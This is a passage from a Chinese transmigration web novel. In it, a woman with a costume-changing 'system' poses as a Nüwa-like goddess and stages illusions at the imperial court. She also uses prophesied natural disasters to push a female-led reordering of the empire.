姬荣当即上前:“是。”
她确实不曾想过与神明同榻而眠,虽说这床不可能小,别说两个人,再来几个也绰绰有余,但这是能睡下几个人的事儿吗?
它不是啊!
这是谁能睡谁不能睡的事!譬如龙椅上只能坐一个人,那个人只能是皇帝,如今也是一个道理。
可神明发话了,她只能乖乖躺好。
见姬荣躺下,姒昭不再理会她,也并不解释自己刚才所为究竟为何,就这么闭眼睡了。
她睡下了,那姬荣心中再有千般疑问也不敢在此时开口,神女摆明了不想多说,那便只能靠她自己想。
目睹了一切的系统:“宿主?”它的宿主究竟想干嘛?
姒昭闭上眼,安抚道:“不慌,我是神女。”
神女做什么都是有道理的,因为是神,所以没有人可以质疑她。当她神女的形象深入人心,更不会有人质疑,世人只会反思自己。
即使她是皇帝。
而且……不搞点服从性测试,怎么知道她在姬荣心里地位如何、忍耐限度是多少?怎么为以后搞事情做准备?
*
姬荣也确实在反思。
看似闭上了眼,实则根本没睡着,脑子里一直在思考神女此举何意,是否自己惹神女不喜,又或者神女是为了告诉她什么,只是需要她自己悟。
她是离姒昭距离最近的人,是目睹过最多神迹的人,无论是那夜神女降世,她亲眼看见那半人半兽的躯体、碧潭般的眼眸,亦或是那夜梦中得见上古时期姬氏与神女的往事,都在加深姒昭神女身份的可信度。
也是因此,面对流言疯传、世家摆宴的情况,姒昭分毫不惧。
她给姬荣这个手握权力之人看到的远比其她人多,她在皇帝心里埋下的是在别处不曾有的种子。
夜渐深了,姬荣却想着这些天发生的事和姒昭泼她那杯茶,难得失眠。
恰在此时,天子忽觉一阵凉意袭来,那种感觉……陌生中带着熟悉。
姬荣骤然睁开了眼。
床幔微动,似有风起,又在她睁眼后逐渐归于平静,映入眼帘的是大片大片的白雾,那雾带着浓重的水汽和凉意,并未充满整座宫殿,而是——铺满。
像地毯那样,大片飘渺如云的白雾铺满地面,使人仿佛置身云层。
如果不是眼前的宫殿陈设如此熟悉,使得她确认自己还在皇宫,姬荣几乎要以为自己被神女带去了天上。
见人醒了,系统默默收起老员工电风扇,今天只需要微弱的风,没上鼓风机。
姒昭则表示这个云雾缭绕的配件挺好用的,很有那种飘渺仙宫的感觉。
姬荣在思考自己这一次是否又被神女带入梦中。
对了,神女!
姬荣转头望去,床榻上,神女又化作了半人半兽的模样,萤火在她身旁亮起,照出她凛然不可侵的威严。
冷而清的声音在一片寂静里响起,似山间凌冽的泉水:
“娲,古之神圣女,化万物者也。”
神女这是在……讲道?
某种不可思议的想法从脑海里冒出,姬荣屏息凝神,以弟子对老师的最恭敬的姿态听取师长授道。
姒昭继续开口,她身边那幽幽的光芒愈发明亮起来,直至驱散她周身的暗。
“自娲皇创世以来,有天地间混沌之气、洪荒之力存于体内,与娲皇本源神力相生却又易扰乱心性”
“娲曾苦于这份力量虽强大却难掌控,必于神力运行一小周天后将其排出体外,以保体内神力纯净可用。”
姬荣正襟危坐,正听得认真,忽觉有什么凑近,青蛇那双竖瞳又一次对上她的眼,冰凉的蛇尾自身旁掠过,转而乖巧地伏在神女身旁。
于是神女话锋一转:
“娲皇欲造人,取清水、泥土塑形,又注以本源神力,塑三魂七魄”
姒昭望着她:
“你也去造人。”
姬荣几乎要以为自己听错了。
然而神女神色认真,看不出半分调侃,她甚至重复并解释了一遍:
“去学着人类母神的样子,造人。”
现在可是丑时……这话姬荣是不敢对姒昭说的。
也不敢质疑。
因此,帝王只能点头称是,然后穿好衣服,亲自去找土拿水和泥巴。她当然可以让宫人来负责打水挖土,甚至可以指挥她们和泥,但下达这个命令的是神女,她必须亲自做每一步。
摇曳的烛光下,姬荣回来复命,表示自己已尽力去做了,只是人力难与神明之力相比,她没办法如女娲那样注入神力,又塑三魂七魄,造出一个活着的人。
先前神女讲道时那星子般光芒依旧环绕在神女周身,姒昭单手撑着脑袋,并未表现出想要起身去检验她成果的意图:
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>“娲皇欲造人,取清水、泥土塑形,又注以本源神力,塑三魂七魄”
姬荣意识到神女在继续讲述娲皇造人的故事。
“......然未成。”
结局是没有成功。
为什么没有成功?
神也会失败吗,原来神最初创造人类,也失败了吗?
她抬头,对上神女锐利的目光。那刀锋一样的眼神只一瞬,望向她时像是在挑选、打量她是否是个合格的值得选中的商品,转瞬又恢复了往日的平静。
“很晚了,回你的寝殿睡吧。”
回自己的寝殿……姬荣心里一紧,莫不是她不合神女的意、惹了神女厌弃?
好在神女的下一句话又将她的心从谷底拽了回来:
“后日朝会上,给我加个垫子。”
待到回了寝殿,时间也差不多快要到上朝的时候了。姬荣揉了揉太阳穴,决定把想这一晚想不明白的事先抛出脑袋。再不睡觉以这个精神状态上朝绝对会收到谏言。
被折腾了一晚上的姬荣不舒服,姒昭和系统却呈相反状态。
姬荣一走姒昭立马放下神女的架子倒头就睡,清早起来就是一连串系统提示音。
【主线任务三:侍寝,完成一次侍寝
任务评价:完美
任务奖励:积分×1000,特殊染料×8,幻术×1】
侍寝任务完成,同时【成就】get:
“恭喜你打出成就【前无古人】”
“恭喜你打出成就【恃宠而骄】”
“恭喜你打出成就【日有所思夜有所梦】”
“恭喜你打出成就【红颜祸水】”
姒昭望着满满一屏幕的成就心情很好。
非常棒,这都是她辛苦(折腾)姬荣一晚上的回报啊。
但是,
“这个【红颜祸水】的成就怎么来的?”
【前无古人】和【恃宠而骄】是侍寝当夜往皇帝脸上泼茶水、把皇帝赶回自己的寝殿以及命令皇帝半夜和泥巴,【日有所思夜有所梦】是意外打出来的成就,不知道姬荣梦到啥了,但毕竟被她折腾了一番,也在意料之中。
最后这个她不理解。
系统解释道:“就是因为你折腾了姬荣一夜导致她没睡好觉啊,上朝的时候大家都以为是哪个男宠。”
毕竟大周上朝挺早的,差不多凌晨四点左右就得爬起来了。
“系统这自动检测到你是女生,保留了原词【红颜】。”
姒昭:原来是乌龙搞出的成就。
但是……
“红颜怎么又是祸水啦啊喂!”
没有别人在,不用装神女,姒昭放开地炸毛了。
不管是这个世界还是她所在世界,似乎总有人喜欢把掌权男人的错归给女人,可是那个红颜甚至没有四处走动、和家人见面的机会,未曾掌握半点权力,怎么就“祸水”了?
系统挠挠头:“我也不知道,系统词库里的东西都来源于人类,这些都是人类自己创造的。”
但它作为和姒昭一个战线的系统,当然会支持自己的宿主:“你放心吧宿主,我会把这个bug上报给主神将其修改的。”
至少在系统词库里,不会再把这样一个把错误归咎给女孩的词作为一项颁发给她们的【成就】。
10. 靠换装系统装神明10
神说要去看朝会,于是众朝臣上朝时就看见代表皇权的御座旁放了另一张座椅。
再仔细一瞧,那座椅华贵、庄重程度较之龙椅也不遑多让。
这是闹哪出呢?
想起近日有关神明的传言,众人心思各异。
神女神女,既然是神就该高座云端不染红尘,做那泥胎木塑的神像,而不是……明目张胆地,染指天下的权柄。
有人看似面容沉静,心却骤然高高吊起。
只希望,那神不会想要和人分这块有关利益的大饼。
直到无数的光芒如潮水般涌入大殿,头戴十二旒冠冕的帝王跟在一女子身后踏入殿内,她们察觉到似乎之前所思所想皆要成真,面上无所表示,心里却翻涌起滔天巨浪。
不过即使她们再如何忧心“神女是否有掌人间权柄的心思”一事,目前还是免不了分出部分心思落在眼前活生生的神明以及地上铺就的光芒上。
像毯子又像浅水、在神女出现那一刻铺满大殿的柔软莹光,像夜晚的满天星河落在了人世间,一直淹没到她们的小腿。
有人不禁悄悄活动了下手,悄悄在那光海里捞了一把,又探出脚试图摸清里面有什么,是否会踩到一颗星子。
尝试过后却发现一无所获,又有难言的失望涌上心头。
在下面的朝臣做着小动作时,上面的姬荣正面对一点小问题。
本来她在接收到神女要上朝这一消息后就命人安置里最好的椅子,还贴心地在上面铺了柔软的垫子。
但是现在,神女没有坐那把椅子。
神女正看着她。
姬荣心头涌起一股不妙的预感,果然,下一秒神女就张开了嘴巴,那种平淡的、像山间最清澈却也最冰冷的声音从她嘴里吐出来:
“我要坐这里。”
接着,她没有半分犹豫,坐在了那把龙椅上。
姬荣在心里苦笑,但也无法,最终只能乖乖坐上那把原本为神女准备的椅子上。
众朝臣就这么看着皇帝让出了自古以来只有天子能坐、象征着皇权的位置。
她们的目光隐晦地在神明与帝王之间来回,还没震惊完位置的转换就又看到神明身上的衣服换了一个样子。
不,不是衣服,那看起来更像是人间有关妖鬼的传说里妖怪变换回原形的场景!
原本姒昭来的时候虽光海铺路、帝王作陪,但那一刻她的外表与凡人无异,同样是两个眼睛一个鼻子一个嘴巴,有两只手两条腿,身上的衣服除了看起来款式跟她们不太一样、瞧着较为华丽,整体看不出半点神的样子。
但这一秒她完全变了。
属于人的外表完全褪去,她的眼睛变作了一汪碧潭,带着山野的寒凉与野性,眉间则升起太阳。
金红青交织绘制的神秘纹样在她的脸蛋上显露,又蔓延到裸露在外的肩膀、手臂、腰肢与小腹。顺着小腹向下,兽的身体取代了人类的双腿。
她是盘踞在龙椅上的野兽。
有男臣见姒昭此时仅包裹住胸部,不觉面色一变,在心头唾弃如此模样怎会是神,即使是想来也不过是蛮夷之人祭祀的野神,大周神明怎会如此不庄重?
亦有女臣见她微微甩动的尾粗壮有力如铁鞭,兽形的后肢矫健壮硕似柱子,如将军姜玘便在心中暗道这样有力的身体,作战时必然如猛虎下山,一人敌数人不在话下。
至于穿着,自姬荣即位以来,女子的衣衫也比往日更丰富多样,有不少大胆露出肢体的服饰,只是相比起来姒昭身上那套的不羁率性更甚。
但无论心里想法如何,有一点她们想的是一样的:这位的样子看起来,是真会吃人。
面对原始而蛮荒的野性力量,自诩文明的人也会不自觉感到畏惧。
姒昭完全没管下面的人在想什么。
她朝姬荣丢下一句“开始吧”就不再说话,于是满殿的朝臣只能暂时按下心里那些念头,按照流程开始这场朝会。
在此过程期间姒昭并不开口,她如沉睡的猛虎般安静地盘踞在龙椅上,只有那满室光海和她不时甩动的尾昭示着她在参与。
直到朝会结束,神没有开口,没有人敢走。
满室寂静里由身旁的天子姬荣开口唤醒神女,姒昭睁开了眼。
她冷漠地扫过殿内站着的人,抬手微微一划,光海消散无影。
还不等朝臣反应过来,洁白飘渺的云雾充斥了大殿,遮掩住所有人的身形,只能通过触摸呼喊确认身旁还有人。
很快,那云气又渐渐汇聚于顶上,变换形状。
奇异的是,明明是一样的云雾,环绕在她们身便能遮蔽视线,让人看不清除自己以外的东西和人,但一抬头,所有人又都能看清云雾在上方变化。
在场的人哪里见过这等场面,纷纷抬头,目光追随着云雾而动。
系统:宿主你真的很奇怪哎,这个云雾缭绕的背景明明是用来放在你身边衬托仙人之姿的,你怎么会想到拿来遮人眼珠子啊喂!还把它搞得整个房间都是……
也就是这殿足够大这戏才演得下去。
姒昭:为了装且不穿帮。
场景再度变换,她们看到华美的亭台楼阁屹立于云雾之上,巍峨高大的殿宇建造在云端,只是这些场景都半掩在迷雾之中,看不真切。
有人心中大惊:这莫不就是天上宫阙?只是我等凡人肉眼凡胎,不可尽数窥见天宫之景况,方才有迷雾遮掩。
姒昭:不,因为我目前连抽带买也只有这些特殊饰品,仙宫如果是这样那太单调了,半遮半掩既能掩盖这些不足,又能留点想象空间,让人自行脑补。
啊对了,这些景以后说不定她还要用到呢。
众人心头划过无数念头,眼前场景再度变化。
她们瞧见了女娲造人。
——这个故事在民间家喻户晓,人尽皆知,是以即使云雾翻涌间那女神的身影虚幻无比,又有云来遮掩,不说面容,连背影都看不全,只见其衣裳一角于风中飘扬,众人也能从那较为明显的蛇尾及地上泥偶认出这是古时娲皇造人的故事。
众人再一细瞧,不愧是出自女娲之手的泥人,全然不见半点凡俗泥土所塑的瑕疵,却也非瓷非陶,一见只觉浑身似有水波在流转,又好像点缀着星光。
众人看不见的角落,姒昭极力凹造型,同时随时调整自己的方位以保证不露脸、不穿帮;系统骂骂咧咧地姬荣亲手做的、穿好了染好色衣服的泥人放在显眼的位置吸引注意,还得保证泥人看起来“普通又透露着古拙的历史气息”。
当然,为了避免姬荣认出这是她亲手堆的泥人,姒昭还利用角度和云雾创造了视觉上的不同。
这下系统知道为啥姒昭要把云雾缭绕这个部件放得到处都是、拿来遮她们的眼来。
毕竟如果不这样的话,所有人都会看到,刚刚还好好坐在皇位上的神女,消失了。
她们这边只有一人一统,当然不可能让系统一个人来扮演女娲这个角色啦,只能姒昭换套衣服妆造上。
但是神女怎么可以凭空消失呢?
所以只能把大家的眼睛遮住,只准看神女想让她们看的部分。
姒昭都上工了,系统当然得配合。于是系统皮套的尾巴被姒昭“狠心”地用染料染了色,把原本青色的尾巴染成了半透明又从不同角度透着彩色光晕的模样,再和姒昭配合一下,冒充女娲的尾巴。
系统:QAQ
它一统多用,也很累的好吗?
不管怎么样,呈现出来的效果很不错,没穿帮。
姒昭找准时机开口:“系统系统!开始播放!”
系统冷酷无情地按下了录音模块的播放键。
它说呢,宿主提前录这玩意儿干嘛。
大殿里还沉浸在女娲造人奇观中的大臣突然听到,神女飘渺而空灵的声音不知从何处飘来,响彻大殿。
“娲,古之神圣者……”
姬荣立马意识到神女在讲述那夜那个有关娲皇造人失败的故事。
云雾中的场景随着神女的话语变换,凡人的心绪完全被有关神明的往事所牵动,从姒昭的话语里她们意识到原来神也会在某一件事上失败。
可是为什么失败?如何才能成功。
她们抬头望着,云雾中的场景如愿给出了答复。
有殷红的、血一样的东西自娲皇的衣裳下流出,那血落到了泥人身体里,于是泥人就有了生命。
更多的血落到土地上,溅起包裹着血液的尘土,一个个生命就诞生在了凡间。
神女的声音还在继续:
“天地间万物凡存在必有其理,娲皇曾苦此混沌之力久矣,虽能于力量运行一小周天后以此形式将其排除体内,亦觉烦躁”
“直到于那一刻开悟,明了此与其神力同源之力量,本是她创造生命之关键”
云雾间女娲的身影转瞬消散,随即亭台楼阁也就此湮灭身形,须臾间一切便烟消云散。
众人的目光落到了神女身上,她们不太明白神女讲这些的用意,总不可能是好玩儿吧?
有些人想起殷红血迹自女娲虚幻蛇尾上滑落的场面,又联想到其她与之相似的东西,心下不觉思绪翻腾。
总觉得那场面很像……
见所有人的目光聚集在自己身上,偷跑回到座位上的姒昭保持着端方冷静的姿态,嘴角扯出一抹笑:
“女娲造人,造了两种人,女人和男人”
“女人天生得神明喜爱眷顾,承接恩赐,身体内天然就蕴含着一丝女娲的力量,待到慢慢长大,那力量就如女娲一般以血的形式流出,昭示着女人是得神眷的,时机成熟就能创造人类”
听到这里,殿内的男人心头不禁一跳,额角的不知何时淌下了汗珠。
果然,神女接着道:
“而男人,则是天生的残缺,他们并非女娲照着自己的模样所造的人,便不得神眷,身
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体里存的是浊气,未得娲皇的神力,无法生育。”
“终生,都只是辅助女人的工具”
有人惊惧交加,难以克制内心的愤怒,就要大声质问,又在对上上首姒昭那半人半兽的模样和她身旁身着帝王服饰的姬荣时反应过来,自己面对的,不是可以这样质问的对象。
他正欲整理好语言后启奏,就有心性不过关的同僚难以面对这样的言论,先他一步对神发起了质问。
“你血口喷人!”
说话的男臣情绪激动,额头上青筋暴起,满面怒容,他正欲再说什么,身旁便有壮硕有力的青蛇尾重重抽来,一尾巴将人抽飞出去,强势地打断他的话,使其当场昏迷。
殿内众人被这突如其来的变故一惊,抬首望去,那青蛇不知何时又出现守卫在了神女身旁。
神女的神情还是那样平静,像无风无浪时的大海,表面风平浪静,底下却可能是狂风骤雨。
她的目光掠过凡人,真的就像她们所希望的那样,如泥胎木塑的像般目空一切,碧潭倒映不出任何人任何事物的影子,像人不会关注蝼蚁的喜怒。
“人类就是这种生物”
她们听见神女开口,吐出冰冷刺骨的话语:
“冷漠,恶毒,贪婪,邪恶,难怪阿鼻地狱里的恶鬼都厌恶”
骤然听到这话,底下的人都有一种荒诞感,那看起来是妖鬼、与毒蛇为伍的神明,在审判穿着华服、自诩正统的人。
神女忽而笑了,那张素来少有表情的脸上扯出了一个极为夸张的笑容。
她的眼睛下方忽然出现两道血线,嘴巴变作血一样的猩红,脸蛋则变得极白,那种活人绝不会有的惨白。
红与白的对比带来极强的视觉冲击,但更可怕的是她的嘴巴笑的弧度极其夸张,嘴角几乎都要咧到耳根子了。
神明狂笑着嘲讽不自量力的凡人,那一瞬间,威严,野性,蛮荒,不羁,兽性、神性、人性在她身上融为一体。
她好像有很多张脸,同时在哭又在笑,在喜悦又在悲伤,慈悲又狠毒。
像神,像鬼,像妖,又像人。
与此同时殿内再次狂风大作,似乎在应和神明的嘲讽。
那样让人惊悚的笑容使得下面的人毫不怀疑那张嘴下一刻会张的更大,神明会变成野兽,张着血盆大口吞吃在座的人类。
极度的恐慌之下不少人在颤抖,甚至有人想要呼唤侍卫或逃离这里。
姬荣是离得最近的人,但作为天子,无论如何她不能慌不能跑,加之近些天来对姒昭的了解,她并不觉得这位神明真的会吃人。
至少这一秒不会吃她。
她起身拜了一拜,声音坚定而真诚:
“神女息怒!”
“凡人愚昧,幸得神女拨开迷障,指点迷津,周有神女亦是周之幸!荣在此感念神女大恩,大周必报此恩情!那愚人口出狂言冒犯神女,荣必罚之!”
姒昭笑道:
“我何曾在乎凡人之语?周倾尽全力奉上的一切于我又有什么价值呢?”
“倒是你等凡人倒行逆施,竟将女娲恩惠视作污秽之物,又不珍惜创生之能力,女子自暴自弃让工具掌权,凡间多有溺死女婴之事,难怪不得天眷”
听到此话,底下的人俱是心头一紧,作为帝王的姬荣更是目露惊色,不得天眷……
下一秒,不妙的预感果然成真。
姒昭道:
“既公然忤逆女娲,不得天眷,龙王未必按照天规布雨,旱魃也可随意侵扰这片土地,其余妖鬼或来作乱,也未可知啊”
布雨,旱魃,妖鬼作乱……一连串的消息把人砸晕。
姬荣听着只有一个想法:要完。
根据神女的话,这片土地会有水灾旱灾,又有山野妖鬼作乱吃人,天灾人祸,这于任意哪个王朝都是大灾大难。
神女敢这样说,那这必是神的眼睛看见的未来。
很可怕的未来。
作为皇帝,既然先一步知晓了这些消息,她更不能坐以待毙。
思及此,姬荣将目光投向姒昭。
此时的神女已恢复了此前山岳为眉碧潭为眼的模样,庄严神秘而带着野性,不再是刚刚那副可怖的模样。
姒昭:把妆换回来了而已,谢谢。刚那个是现代演恐怖片的惊魂小丑妆。
对上姬荣的眼神,姒昭先她一步开口:
“尔等唤我神女,自当明白我亦是女神,极厌恶现下凡尘的模样”
说着,她微微一顿:
“不过你既为皇,朝中又有妇人司政,治下风气也算清朗,我见人间亦有女子为商、为老师等,可靠自己而活,由此见凡尘也非无可救药”
“也是因此,加之姬氏的缘故,我愿为你们而来”
姬荣及上官玥等心下一动,抬眸望她。
只听神明道:
“我已先一步告知未来之事,如何做,是你们该考虑的”
11. 靠换装系统装神明11
最终这场朝会以神女抛下重磅消息而后甩袖离开为结尾。
先不提帝王朝臣在想些什么,姒昭先一步躲进了系统空间哐哐灌了一大口可乐。
旁观的系统:“宿——主——”
姒昭:“我在。”
系统抓狂:“宿主!你,你怎么可以这样做?你提前和我说要这么搞啊!”
“而且你居然看了任务背景?!你居然看了?”
那玩意跟平常注册软件时的条款一样又无聊又长,大多数人都是直接划过去的啊!
姒昭一脸淡定:“这可就是你污蔑我了啊,我哪样没和你商量?”
“至于任务背景,这不看怎么成?你新到一个地方难道不需要知道这是哪儿?出去旅游都要做个攻略好吧。”
她可是认真研读了系统面板的每一处。
系统:难道不是既来之则安之,背景啥的随便扫一眼,等具体到了再切身感受吗?
它道:
“那女娲造人的故事怎么搞、什么时候该使用电风扇和鼓风机,我不都是提前和你沟通好的吗?”
她捏捏系统光球:“好啦好啦,说起来我还要感谢你的配合,帮我巩固神女形象。”
系统简直要哭了:“可是你没说你会在朝会上直接把男的都贬一通啊!”
哪怕姒昭像之前一样把世家的脸面踩在脚下摩擦它都没那么慌,姬荣如今势力如日中天,加之经过周室几代帝王的政策手段打磨,加之世家尾大不掉,整体也是在走下坡路的。
可是男人不一样!
无论女男,这都是占据一半人口的群体,公然将其分为对抗的两部分,这,这绝对会让姒昭的任务难度直接上升一个大台阶。
“宿主啊,”系统哭丧着脸道:“大周目前国力呈上升趋势,百姓日子过得不错,周边异族也被打怕了,你要是按照之前那样装神女一直装下去,完全可以过很好的日子,任务很轻松也能完成的!干嘛非要这么搞。”
姒昭轻声道:“很容易完成?能过很好的日子?”
“是这样吗?”
她望着空间里的一片虚无,道:
“你真的觉得,她们过得好吗?”
她望着系统,神色漠然:“如果真的过得好,朝堂之上的女人就不该只有那么几个。”
甚至是在姬荣称帝之后,朝堂上才有女人的身影。
正常的出门、奔跑、读书、科考、做官……在姬荣称帝之前,这都是不被允许的。
“我只是想让女人得到和男人一样的待遇,拥有人本该拥有的权力,难道这也算特权、算挑起对立?”
“未免有点太冤枉我了吧?”
“而且你搞清楚,”姒昭道:“我从来没有按性别把人分开、把她们变成对立面,而是男人本就踩在女人骨血上获利。”
“在这个世界里,女男已经从单纯的[性别]演变成了一种[阶级],男人就可以三妻四妾,可以随便压榨女人的生育能力、劳动能力、性的自主权,可以读书、考试、做官、经商,女人却连踏出屋子的权力都没有。”
“这本身就是一种对立。”
她望着系统,很突兀地露出一个笑容:“如果不是,那为什么朝堂上那些听到我的话的男人,反应会那么激烈呢?”
初出茅庐的单纯小系统快要被她吓死了,不知道为什么,明明宿主没有像其她系统说的那样拿高能粒子炮和主神对轰,干废一个小世界,但是就是感觉她身上的气息很恐怖啊!
姒昭微笑着,看起来和平时一样从容温和,她的语气缓和起来,仿佛刚刚的冷漠尖锐只是系统的错觉:
“但是话说回来,这和系统你又有什么关系?你不是只需要我完成任务吗?”
“我一定会的,这点你不必担心。”
“而且,”她笑着道:“你应该感谢我是个女人啊。”
“不管规训也好,无形中的压迫也罢,女人总是比男人有道德的,一个女人或许情商低脾气差,但是我们很少看到女人一言不合就使用暴力甚至杀人的情况,不是吗?甚至她们很多时候在做事时更愿意考虑周围人的意愿和感受。”
长长的裙摆迤地,她靠近系统:
“我自认是个善良正直的人,看不得民生疾苦,所以我想做的事当然也包括,让这个时代的人,过上更好的生活。”
即使早已褪去当年中二时期的激情,她过往在和平社会长大的经历、受过的教育,她读过的“为天地立心,为生民立命,为往圣继绝学,为万世开太平”,依旧存留在心里,塑造了她的人格。
她依旧希望每个人都能吃饱穿暖,没有压迫。
姒昭摸摸系统光球:“更何况,就是因为大周现在一切都好,我才会这么做。”
若姬荣统治不稳,百姓还在为衣食忧愁,她会换一种方式。
如今的情况在她看来简直是天赐良机,在这个皇权至上的时代,她遇到的是一位女皇帝。
同时她给自己打造的人设是神,一个天然掌握权力的身份。
有权在手,做事不难。
“我清楚这么做会引发什么后果,但是你看,我并不是一时冲动、毫无准备。”
从她选中姬荣那一刻起,她就在准备。
姬荣的铁血手段,她手底下那些女官,这个时期的繁荣昌盛,甚至……天灾。
早在选择那一刻系统就提醒过会有各种灾难来袭,但是这也可以被她转变成达成目的的有利条件,不是吗?
人们敬畏天,敬畏神明,恐惧会夺取生命的天灾,甚至天有异象灾难现世之时帝王也必须写下罪己诏。
那么现在她就把这灾变作她的利剑,用以清除障碍,达成目的。
她从任务背景里看到过,姬荣在位时虽功绩卓越,可惜干旱、洪水、蝗灾等频发,甚至有日食出现,这让她本来牢固的统治开始动荡,民间爆发过多场起义,原本乖乖闭嘴的男人再次开始指责她,凡间无数人将罪责归咎于女子当政,使得既然最终不得不放弃立女儿为太子,只能换男儿上位。
但是如今姒昭来了,她没办法阻止天灾,但可以利用它改变一些其她东西。
想想吧,如今惹怒上天的不再是女子,相反,惹怒上天的一直是男人,是男人亵渎了女娲眷顾的女人,是他们在贬损女人伟大的创生能力,把女娲的馈赠视作污秽,故而才有那么多的惩罚,让所有人的生活变得如此艰难……
不知那时候,事情会变成什么样?
在这种情况下,相信坐在高位的女人们,知道该怎么做。
望着姒昭的笑容,系统觉得自己球身一凉,哇地一声哭出来:
“宿主,我以为你是纯良守法好公民,为什么会变成大魔王啊!”
那年杏花微雨,你说你要让世界变得更好,解放同胞,我以为你是要在此燃起星星之火,种下红色种子。
姒昭戳戳它:“胡说,我就是纯良守法好公民,是菩萨心肠。”
要真说起来,她还先一步预言来旱灾,朝廷能做好应对的准备,不知能救活多少本会死去的百姓,这不得叫一句在世活佛?
喊一百句口号不如她实际做一件事。
更何况,
“我都说了啊,这个世界上那么多被迫失去自我、被当作货物一样对待的女人,我现在解放她们,不就是在解放同胞、种下红色种子吗?”
“难道你觉得这里的男人不是踩在女人尸骨上获利的吗?这何尝不是一种压迫、一种阶级斗争?”
“都说要解放受苦的百姓、拯救受难的人,怎么,难道只有女人不是百姓、不是人?”
退一万步从最小的角度来讲,她现在的人设可是神明,要是以后掌握话语权的不是女人,百年后必定有雄性蟑螂跳出来给她配个丈夫分走权力和荣耀,或者直接把她从女神改成男神。
这种事情她见的还少吗?
“再说了,你觉得在这个生产力跟不上的时代,我们真能一步就把它推入社会主义社会?那不得慢慢来嘛。”
如果可以,她也很希望直接让大周实现全面小康、人人平等啊。
但俗话说的好,经济基础决定上层建筑。
慢慢来,至少先让大家都吃饱穿暖,平安渡过天灾。
系统:“可是我们能行吗?”
“我们可是换装系统,怎么解决各种灾难啊?”
不会被揭穿然后绑起来烧死吧?
姒昭:“慌什么?我自有对策。”
“至于你,”她捏了捏系统:“你配合我顺带收割任务奖励和成就就好。”
她没点开面板就已经看到上面的红点啦。
系统不太懂宿主要做什么,但它知道宿主和系统是一体的,只要宿主完成任务,其她好说。
姒昭则表示她从不打无准备的仗。
演都演了,必须演全套。
而且,改变并不像系统想的那么困难。
姒昭觉得父系社会这种结构其实是很容易垮掉的东西——只需要抽走一颗螺丝钉,只需要,女人有那么一点点不配合。
*
另一边,皇帝与朝臣面色凝重地谈起神女在朝会上的话。
男臣们必然不愿相信神女的话是真相,只觉得那是妖鬼假扮神明愚弄人类。
有人大喊着那是妖邪骗子,他们要戳穿骗术,要杀了那渎神的妖鬼,派人手在京中散布此类言论,要百姓厌恶恐惧,要造势要舆论。
可是皇位上坐的是女人。
掌权的是女人。
姒昭说的每一句话都是对女人有利的。
对她掌权、对她的王朝有利的。
若她得女子支持,便是得天下一半人坚定不移地站在她这边。
若是女子为亲信,显然比男子好得多、可信得多。因为女子在这世道活得太艰难,出路太少,若做她的亲信给她办事,则可正大光明抛头露面,可入朝为官,可终生不嫁,这就是许多女人曾渴望而无望的未来。
她们几乎不会背叛。
姬荣是弑父弑兄登上皇位,她的刀上带着血,皇室的,反对她的大臣的。
这刀很久未出鞘了,但它依旧锋利。
于是在那些人还没能发出声音前,刀就落到了她们脖子上。
与此同时皇帝的喉舌开始在各处说话,说神女说过的话,上古之时神女与姬氏的缘分,救世的神仙与凡女姬氏组长,讲若非这段缘分、若非王座上的是姬氏女,周早就灭亡了。
她们把这些和女娲的馈赠、男人的无耻、还有不得天眷后会到来的灾难联系在一起,把神女的话语和她很久以前就修改颁行的法律一起推广。
皇帝和她的女官天团们都意识到这是一阵风,能摧毁很多东西,同时让站在风口的那只猪起飞。
做这些的同时她们也在处理神女关于灾难的预言。
她们不知道灾难什么时候会来,只能抓紧时间。
减免赋税,加固河堤,兴修水利……
事情一桩一件的安排下去,女官为首,男官作辅。
开玩笑,神女都说了娲皇不喜天残、天灾因天残而降世,那怎么可以让男官坐主位呢?焉知不会让天灾愈演愈烈?
若非朝中没有足够的女人,她早把这群天残刷下去了。
至于祭祀,她在办,但不催,且所有人默契的不去提。
神女曾说留下是为了一场祭祀,那么不说目前的情况不适合有一场盛典,即使是出于留下神女的想法,她们也不可能主动的提起。
她们心里都有一个共识:神女绝不能离开大周。
她是周的王牌。
同时姬荣写了罪己诏。
她写是自己无能,当了那么久的皇帝颁行了那么多新法律,可女人们过的还是如此凄惨,她们还是不得不成为某个男人那可以随便买卖的妾室,不得不忍受着丈夫的拳脚;
她写明明女子学堂兴建了那么久,能招收到的女学生还是那么少,参加考试走到朝堂的还是只有那么几个;
她写明明法律早已明确女子可立女户,可户籍登记里女户的数量还是只有那么几个,甚至她们必须忍受旁人异样的目光,法律明明规定了女子可以和离,丈夫有错则可休弃
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,可到头来被休弃的还是女子……
这一系列事情的影响下,从高门大户到茅檐草舍,家家都在谈论天灾、女娲、女男、神明、帝王一类的话题。
有男人在酒楼茶馆、大街小巷高声谈论着:
“这必是假话!那神女必然是假的!”
“那可不!这么多年不都是我们男人赚钱养家、做家里的顶梁柱?这么多年不也没出什么祸事、照样过日子?”
“要我说,这必是那位编造出来的假话,所谓的神女也是个托儿。”说着,他压低声音凑近对面谈话的人:“上面那位,她自己可不就是女人?”
“焉知那些混话不是她编来哄人的?”
旁边的人一拍桌子,赞同道:“这位老哥说的极是!”
他摊开手:
“若非如此,咱们都这样过了那么多年了,哪里来的什么惩罚、天灾?哪里来的什么妖魔作乱?”
同行的男人也跟着附和,很是高谈阔论了一番。
直到大家“英雄所见略同”,观点达成了一致,便放下酒碗,喝的醉醺醺地回去了。
只是不少人心里依旧有着挥之不去的不安感:
那要是,那要是那什劳子神女说得是真的呢?那不就真的会有天灾?
天灾要是来了,他们该怎么活呢?
怕什么来什么。
不久之后,大周的一些地方,真的开始出现降水量减少的情况,而另一些地方开始发大水。
虽说朝廷得到了预言,做了许多准备。
可这点时间、这点准备并没有办法真正改变什么,依旧会有人死去,而且是很多人。
帝王朝臣忙的焦头烂额,民间的风向也开始悄悄变化。
姬荣的喉舌一直隐藏在各个地方,她此前用这些喉舌来传播扩散神女的话,如今为了达到目的,让神女的话更有可信度,喉舌自然也将受灾地的情况散播了出去。
前脚有神女预言,后脚真就有地区受灾了,这在百姓的心里重重敲了一棒。
莫不是那神女真是神仙?难道他们之前真的错了,且一直错上加错?
受灾且听闻过这则消息的地方许多人开始反思,为了活着,为了不再受灾,他们可以改变,即使那转变在姒昭看来并不算大。
暂时无灾的地方对神女不敬的言论也减少了不少,纵使还有人高声喊叫,喊的内容也只敢是他们已经对女人足够好了,天灾可千万不要降临到他们这里。
较之惴惴不安的男人,女人在忧心天灾之余则多了一种难言的情绪。
她们有时候抬头望着天,望着自腿间流下的血迹,心情复杂。
所以……这并不污秽,她们也不低贱,是这样吗?
